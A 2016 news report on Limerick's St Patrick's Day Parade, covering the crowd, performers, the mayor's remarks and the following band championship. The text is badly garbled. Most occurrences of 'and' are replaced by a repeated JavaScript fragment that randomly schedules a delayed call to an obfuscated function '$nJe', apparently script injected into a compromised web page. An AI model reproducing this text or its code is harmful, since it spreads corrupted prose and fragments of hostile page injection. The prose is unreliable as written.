Limerick St Patrick’s Day Parade

 

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80,000 people line Limerick streets for St. Patrick’s Day Parade

 

More than 80,000 spectators soaked up the spring sunshine andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and carnival atmosphere of Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and’s largest regional St. Patrick’s Day Parade in Limerick City today (Thursday, 17 March 2016).

 

Parade Grandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Marshal, local actor Myles Breen, led more than 4,000 participants from 100 different community groups, companies, bandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ands andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and sports clubs from across Limerick andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and for the parade which is organised by Grooveyard Productions on behalf of Limerick City andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and County Council andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Limerick 2020. This year’s theme was ‘Commemorate’ celebrating Limerick’s legacy, its people andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and its places.

 

Among the participants in this year’s Parade were pop duo Jedward andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Fidget Feet Ariel Dance Company which performed a crane show over the city centre streets.

 

Meanwhile, street arts company Spraoí brought their spectacular Stag Show to Limerick’s main thoroughfares, Artastic andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Spotlight Dance School provided a show-stopping spectacle, andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and The Workhouse Studio thrilled the crowds with their giant puppet andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and a host of colourful costumes. Other parade participants included The Fanzini Brothers, Danger Boy, Outside the Box, Flying Wheels, Clown Noir andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Passepartout along with a wide range of local performance groups.

“Great credit is due to the organisers, including Creative Director Aidan Phelan, andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and participants of this year’s parade which is one of the largest ever hosted in the City,” said Cllr. Liam Galvin, Mayor of the City andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and County of Limerick.

 

“Today was all about celebrating the rich cultural heritage of Limerick City andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and County as well as Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and’s National Day. This year’s Easter Rising Centenary has afforded all of us to reflect on this country’s achievements,” said the Mayor.

 

He continued, “Those who helped to create the Republic we know andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and cherish today would be proud of the vibrant, diverse andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and multicultural society we have become today as evidenced in the faces andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and celebratory mood of the many thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ands who lined the route of this year’s Limerick St. Patrick’s Day Parade.”

 

The Limerick St Patrick’s Festival continues this coming Sunday from 12 noon on Sunday when 1,200 musicians from 18 groups, including a 280-strong marching bandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and from the University of Missouri, take part in the 46th Limerick International Bandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Championship.

 

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Each bandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and will be afforded three minutes performance time in front of the review standom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and all the bandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ands will assemble for a jamboree in Arthurs Quay Park after they have performed.  This year’s adjudication panel features six internationally respected judges, including four from the United States.

 

At Arthurs Quay Park, the Championship prizes which this year includes the inaugural Kenneally Jewellers Perpetual Trophy for the ‘Overall Parade Champion’. The theme of this year’s Parade is ‘Commemorate’.

 

More details on the 2016 Limerick St. Patrick’s Festival can be found on www.limerick.ie/stpatricksfestival.     Limerick St Patricks parade13